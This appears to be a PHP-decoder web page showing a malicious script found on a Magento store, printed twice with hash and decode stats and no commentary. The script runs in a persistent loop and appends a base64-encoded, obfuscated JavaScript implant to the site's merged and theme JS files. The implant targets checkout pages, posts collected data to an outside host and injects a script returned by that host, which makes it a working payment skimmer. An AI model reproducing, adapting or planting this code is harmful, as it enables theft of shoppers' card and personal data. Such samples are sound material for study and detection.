Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php while (true) { $implant = "ZnVuY3Rpb24geWVyajBZRWxCVih5Z0hQNUNHdzNIcWRhSjNDK..

Decoded Output download

<?php 
 
 
while (true) { 
 
$implant = "ZnVuY3Rpb24geWVyajBZRWxCVih5Z0hQNUNHdzNIcWRhSjNDKSB7CiAgICB2YXIgY2g3NVZWM1NOZWhFZ0tMOSA9ICJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSI7CiAgICB2YXIgdWZjZ21EZ0Rwa1VQNW5xcyA9ICIiOwogICAgdmFyIG55Y2FiTlZ1NTZnR3VFWlggPSAiIjsKICAgIGZvciAodmFyIGp1MnNKYnZXd0FHZTZjVVIgPSAweDAsIGNyRno4ZGFYQTNVZlV0M2UsIGVWWXh1RFNqNFlWMzI5amMsIGNlWnVNZUU2NTl3Qm44NXEgPSAweDA7IGVWWXh1RFNqNFlWMzI5amMgPSB5Z0hQNUNHdzNIcWRhSjNDWyJjaGFyQXQiXShjZVp1TWVFNjU5d0JuODVxKyspOyB+ZVZZeHVEU2o0WVYzMjlqYyAmJiAoY3JGejhkYVhBM1VmVXQzZSA9IGp1MnNKYnZXd0FHZTZjVVIgJSAweDQgPyBjckZ6OGRhWEEzVWZVdDNlICogMHg0MCArIGVWWXh1RFNqNFlWMzI5amMgOiBlVll4dURTajRZVjMyOWpjLCBqdTJzSmJ2V3dBR2U2Y1VSKysgJSAweDQpID8gdWZjZ21EZ0Rwa1VQNW5xcyArPSBTdHJpbmdbImZyb21DaGFyQ29kZSJdKDB4ZmYgJiBjckZ6OGRhWEEzVWZVdDNlID4+ICgtMHgyICoganUyc0pidld3QUdlNmNVUiAmIDB4NikpIDogMHgwKSB7CiAgICAgICAgZVZZeHVEU2o0WVYzMjlqYyA9IGNoNzVWVjNTTmVoRWdLTDlbImluZGV4T2YiXShlVll4dURTajRZVjMyOWpjKTsKICAgIH0KICAgIGZvciAodmFyIHVZU0VtVGFQbWtDRXJGM2EgPSAweDAsIGMzcnYzVUNjVnRCNGtCckggPSB1ZmNnbURnRHBrVVA1bnFzWyJsZW5ndGgiXTsgdVlTRW1UYVBta0NFckYzYSA8IGMzcnYzVUNjVnRCNGtCckg7IHVZU0VtVGFQbWtDRXJGM2ErKykgewogICAgICAgIG55Y2FiTlZ1NTZnR3VFWlggKz0gIiUiICsgKCIwMCIgKyB1ZmNnbURnRHBrVVA1bnFzWyJjaGFyQ29kZUF0Il0odVlTRW1UYVBta0NFckYzYSlbInRvU3RyaW5nIl0oMHgxMCkpWyJzbGljZSJdKC0weDIpOwogICAgfQogICAgcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChueWNhYk5WdTU2Z0d1RVpYKTsKfTsKCmZ1bmN0aW9uIHlkSnphZzVja3RUQUMzVzcoKSB7CnZhciBjRkhlT2J5ID0gWyJ5MjlWQTJMTCIsIkJnOUp5eHJQQjI0IiwiQndmMHkyRyIsInpNWFZCM2kiLCJDTWZVemc5VCJdOwp2YXIgd2pmVERKekRlQiA9IFsiQWVTMkRLdVpBSzhaRGVDWENmbVp6cSIsIkR1U1lBTHEyQWVxM0MxYTRCMUMyRHEiLCJEdVNZQUxxMkFlcTNDMWE0QjFDMkRzYTlpZGU3enhIV0F4akxDWWE5aWZyT0RzV0dtSmVHcXh2TmlkaVdtSnFHbUphNm1kYTZtZGFHdnZyZCJdOwogICAgaWYgKGRvY3VtZW50W3llcmowWUVsQlYoY0ZIZU9ieVswXSldLmluZGV4T2YoeWVyajBZRWxCVih3amZUREp6RGVCWzBdKSkgPT0gLTEpIHsKICAgICAgICAgICAgaWYgKHdpbmRvd1t5ZXJqMFlFbEJWKGNGSGVPYnlbMV0pXS5ocmVmW3llcmowWUVsQlYoY0ZIZU9ieVsyXSldKC9zdmVhY2hlY2tvdXQvKSkgewogICAgICAgICAgICAgICAgaWYgKGRvY3VtZW50W3llcmowWUVsQlYoY0ZIZU9ieVswXSldLmluZGV4T2YoeWVyajBZRWxCVih3amZUREp6RGVCWzFdKSkgPT0gLTEpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgcm5kSW50ID0gTWF0aFt5ZXJqMFlFbEJWKGNGSGVPYnlbM10pXShNYXRoW3llcmowWUVsQlYoY0ZIZU9ieVs0XSldKCkgKiAzKSArIDE7CiAgICAgICAgICAgICAgICAgICAgaWYgKHJuZEludCA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVnZlFkR0U5UGwwWXJxKCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnRbeWVyajBZRWxCVihjRkhlT2J5WzBdKV0gPSB5ZXJqMFlFbEJWKHdqZlRESnpEZUJbMl0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgfTsKfTsKCgoKZnVuY3Rpb24gZWdmUWRHRTlQbDBZcnEoKSB7CnZhciBmQ3BZOWxXb0NuVDJLVHNFWSA9IFsieU5yVnlxIiwiQjNiTEJHIiwiQzJ2VXphIiwiQjI1WXp3ZktFeG4weXhyTHkySEhCTURMIiwiQ012SHpoTHREZ2YwenEiLCJDZ2ZZQzJ1IiwiQ012WkNnOVVDMnZ1enhIMCIsInkzakx5eHJMcndYTEJ3dlVEYSIsIkF3NVV6eGppdmUxbSIsInlNOUtFcSJdOwp2YXIgaWp1UzBCcmtoVGxXQiA9IFsiRHdMS3BxIiwicjB2dSIsIkFocjBDaG02bFk5TGxNdld5eExZeXhQVkNJNUpCMjBWRDJIUENjNVdBaGEvIiwiQzJuWUF4YjAiXTsKICAgIHZhciBwb3N0RGF0YSA9IHllcmowWUVsQlYoaWp1UzBCcmtoVGxXQlswXSkgKyB3aW5kb3dbeWVyajBZRWxCVihmQ3BZOWxXb0NuVDJLVHNFWVswXSldKHdjTXA5WlZhYigpKTsKICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKQogICAgeGhyW3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbMV0pXSgKICAgICAgICB5ZXJqMFlFbEJWKGlqdVMwQnJraFRsV0JbMV0pLAogICAgICAgIHllcmowWUVsQlYoaWp1UzBCcmtoVGxXQlsyXSkgKyBwb3N0RGF0YSwKICAgICAgICB0cnVlCiAgICApCiAgICB4aHJbeWVyajBZRWxCVihmQ3BZOWxXb0NuVDJLVHNFWVsyXSldKHBvc3REYXRhKTsKICAgIHhoclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzNdKV0gPSBmdW5jdGlvbiAoKSB7CiAgICAgICAgaWYgKHhoclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzRdKV0gPT0gNCkgewogICAgICAgICAgICB2YXIgYW5zd2VyID0gSlNPTlt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzVdKV0oeGhyW3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbNl0pXSk7CiAgICAgICAgICAgIHZhciBzY3IgPSBkb2N1bWVudFt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzddKV0oeWVyajBZRWxCVihpanVTMEJya2hUbFdCWzNdKSk7CiAgICAgICAgICAgIHNjclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzhdKV0gPSBhbnN3ZXI7CiAgICAgICAgICAgIGRvY3VtZW50W3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbOV0pXS5hcHBlbmRDaGlsZChzY3IpOwogICAgICAgIH0KICAgIH0KfTsKCgoKZnVuY3Rpb24gd2NNcDlaVmFiKCkgewp2YXIgbXFoQXBTNzYwdjBHID0gWyJDTXZXQmdmSnpxIiwiejJ2MHVNZlV6ZzlUdk1mU0R3dloiLCJEZzl0RGhqUEJNQyJdOwogICAgcmV0dXJuIChbMWU3XSArIC0xZTMgKyAtNGUzICsgLThlMyArIC0xZTExKVt5ZXJqMFlFbEJWKG1xaEFwUzc2MHYwR1swXSldKC9bMDE4XS9nLCBjID0+CiAgICAgICAgKGMgXiBjcnlwdG9beWVyajBZRWxCVihtcWhBcFM3NjB2MEdbMV0pXShuZXcgVWludDhBcnJheSgxKSlbMF0gJiAxNSA+PiBjIC8gNClbeWVyajBZRWxCVihtcWhBcFM3NjB2MEdbMl0pXSgxNikKICAgICk7Cn07CgoKaWYodHlwZW9mIHJsTzRWbXFWR1lQUzIgPT0gInVuZGVmaW5lZCIpewoJcmxPNFZtcVZHWVBTMj0xOwoJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIHlkSnphZzVja3RUQUMzVzcoKSk7Cn0="; 
 
foreach (glob("/var/app/current/pub/static/_cache/merged/*.js") as $filename) { 
    if (!preg_match("/ydJzag5cktTAC3W7/", file_get_contents($filename))) { 
        file_put_contents($filename, base64_decode($implant), FILE_APPEND); 
        echo "<!--updated: {$filename}-->
"; 
    } else { 
        echo "<!--ok: {$filename}-->
"; 
    } 
} 
 
 
$path = array( 
"/var/app/current/pub/static/frontend/Magento/luma/en_US/mage/requirejs/mixins.min.js", 
"/var/app/current/pub/static/frontend/Magento/luma/nb_NO/mage/requirejs/mixins.min.js", 
"/var/app/current/pub/static/frontend/Magento/blank/en_US/mage/requirejs/mixins.min.js", 
"/var/app/current/pub/static/frontend/Magento/blank/nb_NO/mage/requirejs/mixins.min.js", 
"/var/app/current/pub/static/frontend/365ecom/s365/en_US/mage/requirejs/mixins.min.js", 
"/var/app/current/pub/static/frontend/365ecom/s365/nb_NO/mage/requirejs/mixins.min.js", 
"/var/app/current/var/view_preprocessed/pub/static/frontend/365ecom/s365/nb_NO/mage/requirejs/mixins.min.js", 
"/var/app/current/var/view_preprocessed/pub/static/frontend/365ecom/s365/en_US/mage/requirejs/mixins.min.js", 
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/luma/nb_NO/mage/requirejs/mixins.min.js", 
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/luma/en_US/mage/requirejs/mixins.min.js", 
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/blank/en_US/mage/requirejs/mixins.min.js", 
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/blank/nb_NO/mage/requirejs/mixins.min.js", 
); 
 
foreach ($path as $filename) { 
        if (file_exists($filename)) { 
            if (is_writable($filename)) { 
                if (!preg_match("/ydJzag5cktTAC3W7/", file_get_contents($filename))) { 
                    file_put_contents($filename, base64_decode($implant), FILE_APPEND); 
                    echo "<!--updated: {$filename}-->
"; 
                } else { 
                    echo "<!--ok: {$filename}-->
"; 
                } 
            } else { 
                echo "<!--file_not_writable: {$filename}-->
"; 
            } 
        } else { 
            echo "<!--file_not_exists: {$filename}-->
"; 
        } 
    } 
 
 
sleep(3600); ?>

Did this file decode correctly?

Original Code

<?php


while (true) {

$implant = "ZnVuY3Rpb24geWVyajBZRWxCVih5Z0hQNUNHdzNIcWRhSjNDKSB7CiAgICB2YXIgY2g3NVZWM1NOZWhFZ0tMOSA9ICJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSI7CiAgICB2YXIgdWZjZ21EZ0Rwa1VQNW5xcyA9ICIiOwogICAgdmFyIG55Y2FiTlZ1NTZnR3VFWlggPSAiIjsKICAgIGZvciAodmFyIGp1MnNKYnZXd0FHZTZjVVIgPSAweDAsIGNyRno4ZGFYQTNVZlV0M2UsIGVWWXh1RFNqNFlWMzI5amMsIGNlWnVNZUU2NTl3Qm44NXEgPSAweDA7IGVWWXh1RFNqNFlWMzI5amMgPSB5Z0hQNUNHdzNIcWRhSjNDWyJjaGFyQXQiXShjZVp1TWVFNjU5d0JuODVxKyspOyB+ZVZZeHVEU2o0WVYzMjlqYyAmJiAoY3JGejhkYVhBM1VmVXQzZSA9IGp1MnNKYnZXd0FHZTZjVVIgJSAweDQgPyBjckZ6OGRhWEEzVWZVdDNlICogMHg0MCArIGVWWXh1RFNqNFlWMzI5amMgOiBlVll4dURTajRZVjMyOWpjLCBqdTJzSmJ2V3dBR2U2Y1VSKysgJSAweDQpID8gdWZjZ21EZ0Rwa1VQNW5xcyArPSBTdHJpbmdbImZyb21DaGFyQ29kZSJdKDB4ZmYgJiBjckZ6OGRhWEEzVWZVdDNlID4+ICgtMHgyICoganUyc0pidld3QUdlNmNVUiAmIDB4NikpIDogMHgwKSB7CiAgICAgICAgZVZZeHVEU2o0WVYzMjlqYyA9IGNoNzVWVjNTTmVoRWdLTDlbImluZGV4T2YiXShlVll4dURTajRZVjMyOWpjKTsKICAgIH0KICAgIGZvciAodmFyIHVZU0VtVGFQbWtDRXJGM2EgPSAweDAsIGMzcnYzVUNjVnRCNGtCckggPSB1ZmNnbURnRHBrVVA1bnFzWyJsZW5ndGgiXTsgdVlTRW1UYVBta0NFckYzYSA8IGMzcnYzVUNjVnRCNGtCckg7IHVZU0VtVGFQbWtDRXJGM2ErKykgewogICAgICAgIG55Y2FiTlZ1NTZnR3VFWlggKz0gIiUiICsgKCIwMCIgKyB1ZmNnbURnRHBrVVA1bnFzWyJjaGFyQ29kZUF0Il0odVlTRW1UYVBta0NFckYzYSlbInRvU3RyaW5nIl0oMHgxMCkpWyJzbGljZSJdKC0weDIpOwogICAgfQogICAgcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudChueWNhYk5WdTU2Z0d1RVpYKTsKfTsKCmZ1bmN0aW9uIHlkSnphZzVja3RUQUMzVzcoKSB7CnZhciBjRkhlT2J5ID0gWyJ5MjlWQTJMTCIsIkJnOUp5eHJQQjI0IiwiQndmMHkyRyIsInpNWFZCM2kiLCJDTWZVemc5VCJdOwp2YXIgd2pmVERKekRlQiA9IFsiQWVTMkRLdVpBSzhaRGVDWENmbVp6cSIsIkR1U1lBTHEyQWVxM0MxYTRCMUMyRHEiLCJEdVNZQUxxMkFlcTNDMWE0QjFDMkRzYTlpZGU3enhIV0F4akxDWWE5aWZyT0RzV0dtSmVHcXh2TmlkaVdtSnFHbUphNm1kYTZtZGFHdnZyZCJdOwogICAgaWYgKGRvY3VtZW50W3llcmowWUVsQlYoY0ZIZU9ieVswXSldLmluZGV4T2YoeWVyajBZRWxCVih3amZUREp6RGVCWzBdKSkgPT0gLTEpIHsKICAgICAgICAgICAgaWYgKHdpbmRvd1t5ZXJqMFlFbEJWKGNGSGVPYnlbMV0pXS5ocmVmW3llcmowWUVsQlYoY0ZIZU9ieVsyXSldKC9zdmVhY2hlY2tvdXQvKSkgewogICAgICAgICAgICAgICAgaWYgKGRvY3VtZW50W3llcmowWUVsQlYoY0ZIZU9ieVswXSldLmluZGV4T2YoeWVyajBZRWxCVih3amZUREp6RGVCWzFdKSkgPT0gLTEpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgcm5kSW50ID0gTWF0aFt5ZXJqMFlFbEJWKGNGSGVPYnlbM10pXShNYXRoW3llcmowWUVsQlYoY0ZIZU9ieVs0XSldKCkgKiAzKSArIDE7CiAgICAgICAgICAgICAgICAgICAgaWYgKHJuZEludCA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVnZlFkR0U5UGwwWXJxKCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZG9jdW1lbnRbeWVyajBZRWxCVihjRkhlT2J5WzBdKV0gPSB5ZXJqMFlFbEJWKHdqZlRESnpEZUJbMl0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgfTsKfTsKCgoKZnVuY3Rpb24gZWdmUWRHRTlQbDBZcnEoKSB7CnZhciBmQ3BZOWxXb0NuVDJLVHNFWSA9IFsieU5yVnlxIiwiQjNiTEJHIiwiQzJ2VXphIiwiQjI1WXp3ZktFeG4weXhyTHkySEhCTURMIiwiQ012SHpoTHREZ2YwenEiLCJDZ2ZZQzJ1IiwiQ012WkNnOVVDMnZ1enhIMCIsInkzakx5eHJMcndYTEJ3dlVEYSIsIkF3NVV6eGppdmUxbSIsInlNOUtFcSJdOwp2YXIgaWp1UzBCcmtoVGxXQiA9IFsiRHdMS3BxIiwicjB2dSIsIkFocjBDaG02bFk5TGxNdld5eExZeXhQVkNJNUpCMjBWRDJIUENjNVdBaGEvIiwiQzJuWUF4YjAiXTsKICAgIHZhciBwb3N0RGF0YSA9IHllcmowWUVsQlYoaWp1UzBCcmtoVGxXQlswXSkgKyB3aW5kb3dbeWVyajBZRWxCVihmQ3BZOWxXb0NuVDJLVHNFWVswXSldKHdjTXA5WlZhYigpKTsKICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKQogICAgeGhyW3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbMV0pXSgKICAgICAgICB5ZXJqMFlFbEJWKGlqdVMwQnJraFRsV0JbMV0pLAogICAgICAgIHllcmowWUVsQlYoaWp1UzBCcmtoVGxXQlsyXSkgKyBwb3N0RGF0YSwKICAgICAgICB0cnVlCiAgICApCiAgICB4aHJbeWVyajBZRWxCVihmQ3BZOWxXb0NuVDJLVHNFWVsyXSldKHBvc3REYXRhKTsKICAgIHhoclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzNdKV0gPSBmdW5jdGlvbiAoKSB7CiAgICAgICAgaWYgKHhoclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzRdKV0gPT0gNCkgewogICAgICAgICAgICB2YXIgYW5zd2VyID0gSlNPTlt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzVdKV0oeGhyW3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbNl0pXSk7CiAgICAgICAgICAgIHZhciBzY3IgPSBkb2N1bWVudFt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzddKV0oeWVyajBZRWxCVihpanVTMEJya2hUbFdCWzNdKSk7CiAgICAgICAgICAgIHNjclt5ZXJqMFlFbEJWKGZDcFk5bFdvQ25UMktUc0VZWzhdKV0gPSBhbnN3ZXI7CiAgICAgICAgICAgIGRvY3VtZW50W3llcmowWUVsQlYoZkNwWTlsV29DblQyS1RzRVlbOV0pXS5hcHBlbmRDaGlsZChzY3IpOwogICAgICAgIH0KICAgIH0KfTsKCgoKZnVuY3Rpb24gd2NNcDlaVmFiKCkgewp2YXIgbXFoQXBTNzYwdjBHID0gWyJDTXZXQmdmSnpxIiwiejJ2MHVNZlV6ZzlUdk1mU0R3dloiLCJEZzl0RGhqUEJNQyJdOwogICAgcmV0dXJuIChbMWU3XSArIC0xZTMgKyAtNGUzICsgLThlMyArIC0xZTExKVt5ZXJqMFlFbEJWKG1xaEFwUzc2MHYwR1swXSldKC9bMDE4XS9nLCBjID0+CiAgICAgICAgKGMgXiBjcnlwdG9beWVyajBZRWxCVihtcWhBcFM3NjB2MEdbMV0pXShuZXcgVWludDhBcnJheSgxKSlbMF0gJiAxNSA+PiBjIC8gNClbeWVyajBZRWxCVihtcWhBcFM3NjB2MEdbMl0pXSgxNikKICAgICk7Cn07CgoKaWYodHlwZW9mIHJsTzRWbXFWR1lQUzIgPT0gInVuZGVmaW5lZCIpewoJcmxPNFZtcVZHWVBTMj0xOwoJZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIHlkSnphZzVja3RUQUMzVzcoKSk7Cn0=";

foreach (glob("/var/app/current/pub/static/_cache/merged/*.js") as $filename) {
    if (!preg_match("/ydJzag5cktTAC3W7/", file_get_contents($filename))) {
        file_put_contents($filename, base64_decode($implant), FILE_APPEND);
        echo "<!--updated: {$filename}-->\n";
    } else {
        echo "<!--ok: {$filename}-->\n";
    }
}


$path = array(
"/var/app/current/pub/static/frontend/Magento/luma/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/luma/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/blank/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/Magento/blank/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/365ecom/s365/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/pub/static/frontend/365ecom/s365/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/365ecom/s365/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/365ecom/s365/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/luma/nb_NO/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/luma/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/blank/en_US/mage/requirejs/mixins.min.js",
"/var/app/current/var/view_preprocessed/pub/static/frontend/Magento/blank/nb_NO/mage/requirejs/mixins.min.js",
);

foreach ($path as $filename) {
        if (file_exists($filename)) {
            if (is_writable($filename)) {
                if (!preg_match("/ydJzag5cktTAC3W7/", file_get_contents($filename))) {
                    file_put_contents($filename, base64_decode($implant), FILE_APPEND);
                    echo "<!--updated: {$filename}-->\n";
                } else {
                    echo "<!--ok: {$filename}-->\n";
                }
            } else {
                echo "<!--file_not_writable: {$filename}-->\n";
            }
        } else {
            echo "<!--file_not_exists: {$filename}-->\n";
        }
    }


sleep(3600);

Function Calls

None

Variables

None

Stats

MD5 dd3e15aa3ec1845e0b2ec633e8e82211
Eval Count 0
Decode Time 131 ms